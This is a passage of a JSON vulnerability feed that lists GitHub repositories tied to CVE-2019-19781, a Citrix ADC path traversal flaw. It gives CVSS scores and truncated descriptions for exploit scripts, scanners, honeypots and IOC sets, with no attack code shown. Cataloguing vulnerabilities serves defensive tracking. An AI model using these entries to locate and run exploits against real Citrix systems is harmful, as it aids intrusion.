"vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-02-18T03:41:51", "description": "# CVE-2019-19781-Forensic\n\n## Note : My advice is now to use the...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-15T20:43:37", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-02-18T00:29:46", "id": "BEF7E47B-985F-56DE-AD21-DFEF507AAFE1", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:29:30", "description": "# ADC-19781\nSeveral checks for CVE-2019-19781\n\n\n## Module instal...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-16T12:33:00", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2021-08-15T04:34:45", "id": "498E3F5C-3DFB-5A3F-BFE8-BEB7339F0C2E", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:28:27", "description": "# CVE-2019-19781 \n\nTo use this scanner goto https://cve-2019-197...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-14T21:54:08", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-28T22:56:43", "id": "C3AF7933-1DDE-58AB-BF32-75FEDB10C925", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:28:48", "description": "# CVE-2019-19781\nJust a python3 CVE-2019-19781 exploit for Citri...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-28T12:09:51", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-28T21:23:04", "id": "37EBD8DB-50D9-5D1E-B6AB-31330A7C47C7", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:29:28", "description": "Based on a **Splunk** perspective.\nBelow resources show that ing...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-23T08:41:51", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-24T10:45:10", "id": "607F0EF9-B234-570A-9E89-A73FBE248E6F", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-05-11T09:14:12", "description": "# Citrix ADC (NetScaler) Honeypot\n- Detects and logs payloads fo...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-22T13:00:18", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-05-11T04:52:56", "id": "CA1AFE75-C90A-5C21-92B0-FC1C0282B767", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-06-24T16:52:14", "description": "# CVE-2019-19781\n\nThis was only uploaded due to other researcher...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-11T00:08:27", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-06-24T03:52:03", "id": "3AEA79E9-5CA7-5210-9CAC-5E34F8E0C418", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:28:51", "description": "# citrix.sh\nCVE-2019-19781...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-20T15:30:30", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-07-19T01:10:14", "id": "27F3F58D-9FEF-5F4F-91FB-0D93B481FBA4", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:28:55", "description": "# citrix_dir_traversal_rce\n\nA directory traversal was discovered...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-13T14:07:15", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-04-05T04:22:21", "id": "9A29EBA1-E786-5DD5-B661-E0080DEEB613", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-22T13:39:34", "description": "# CVE-2019-19781\nRemote Code Execution Exploit for Citrix Applic...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-10T22:56:35", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-07-22T11:43:10", "id": "5DD13827-3FCE-5166-806D-088441D41514", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-06-16T21:34:51", "description": "# CVE-2019-19781 citrixmash scanner\n\nA multithreaded scanner for...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-12T15:16:54", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-06-16T20:16:19", "id": "39093366-D071-5898-A67D-A99B956B6E73", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:28:58", "description": "# CVE-2019-19781\nCVE-2019-19781 Attack Triage Script\n\nThe script...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-17T16:14:30", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-21T16:48:21", "id": "ACE1EC69-37E6-58A5-8C0B-96212CDB38DF", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:29:04", "description": "# Detect-CVE-2019-...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-16T10:09:05", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-16T10:35:07", "id": "45A4CAC6-39DD-5F6D-B0C4-9688EF931746", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:29:08", "description": "# CVE-2019-19781_IOCs\nIOCs for CVE-2019-19781\n\ncitrixhoneypotnsl...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-15T19:32:14", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-15T19:37:59", "id": "EAFD9DBC-1E36-570B-9F48-8C355BBFD8E6", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-27T21:29:49", "description": "# Honepot for CVE-2019-19781 (Citrix ADC)\nDetect and log CVE-201...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-13T10:09:31", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-07-27T07:11:27", "id": "EE4C8DE4-3366-58B0-9494-7FD5B6F9D0EF", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:29:12", "description": "# CVE-2019-19781-Checker\nCheck your website for CVE-2019-19781 V...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-15T10:15:11", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-15T10:20:33", "id": "721C46F4-C390-5D23-B358-3D4B22959428", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:29:18", "description": "# CVE-2019-19781\r\nAutomated script for Citrix ADC scanner ([CVE-...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-13T07:42:27", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-02-26T19:27:56", "id": "1F74FB7B-4F6B-51C6-9117-E7A9750D027D", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-21T04:32:15", "description": "# CVE-2019-19781 Citrix ADC Remote Code Execution\n\n![](./CVE-201...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-11T03:10:12", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2022-07-21T03:53:26", "id": "CA7DF0EF-7032-54E3-B16E-D0845CE73845", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:29:34", "description": "# CVE-2019-19781\nCitr...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-11T13:05:28", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2021-09-17T11:46:50", "id": "E3D6A7AD-AC9C-55EB-A993-B78D05403B54", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-20T15:02:06", "description": "# CVE-2019-19781\n\n\u652f\u6301\u6279\u91cf\u68c0\u6d4b\n\nUsage:\n\n...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-10T02:05:51", "type": "githubexploit", "title": "Exploit for Path Traversal in Citrix Application Delivery Controller Firmware", 